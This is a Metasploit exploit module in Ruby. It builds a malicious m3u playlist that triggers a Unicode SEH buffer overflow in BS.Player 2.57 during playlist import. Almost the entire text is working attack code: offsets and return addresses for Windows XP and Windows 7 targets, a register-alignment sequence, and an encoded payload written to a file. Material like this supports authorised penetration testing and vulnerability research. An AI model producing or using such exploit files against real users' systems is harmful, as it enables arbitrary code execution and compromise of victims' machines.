BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',  
'Description' => %q{  
This module exploits a buffer overflow in BS.Player 2.57. When  
the playlist import is used to import a specially crafted m3u file,  
a buffer overflow occurs allowing arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'C4SS!0 G0M3S ', # Original Exploit  
'Chris Gabriel', # MSF Module  
#Greets: Corelan team for mona.py & awesome tutorials  
],  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process',  
#'InitialAutoRunScript' => 'migrate -f',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00\x0a\x0d\x1a\x80",  
'DisableNops' => true,  
'StackAdjustment' => -3500,  
},  
  
'Targets' =>  
[  
[ 'Windows XP',  
{  
# pop ecx # pop ebp # ret 0c  
# ASLR: False, Rebase: False, SafeSEH: False  
# v2.5.7.1051 (bsplayer.exe)  
'Ret' => "\x2f\x49",  
'Offset' => 4102,  
'Padding' => 1879  
}  
],  
[ 'Windows 7',  
{  
# pop ecx # pop ebp # ret 0c  
# ASLR: False, Rebase: False, SafeSEH: False  
# v2.5.7.1051 (bsplayer.exe)  
'Ret' => "\x2f\x49",  
'Offset' => 4102,  
'Padding' => 1931  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jan 07 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),  
], self.class)  
  
end  
  
def exploit  
  
nseh = "\x61\x42"  
  
align = ''  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x58" # POP EAX  
align << "\x6d" # PAD  
align << "\x50" # PUSH EAX  
align << "\x6d" # PAD  
align << "\xc3" # RET  
  
enc = framework.encoders.create('x86/unicode_mixed')  
register_to_align_to = "EAX"  
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })  
unicodepayload = enc.encode(payload.encoded, nil, nil, platform)  
  
padding = rand_text_alpha_lower(target['Padding'])  
  
buffer = "http://"  
buffer << rand_text_alpha_lower(target['Offset'])  
buffer << nseh  
buffer << target['Ret']  
buffer << align  
buffer << padding  
buffer << unicodepayload  
  
file_create(buffer)  
  
end  
end  
`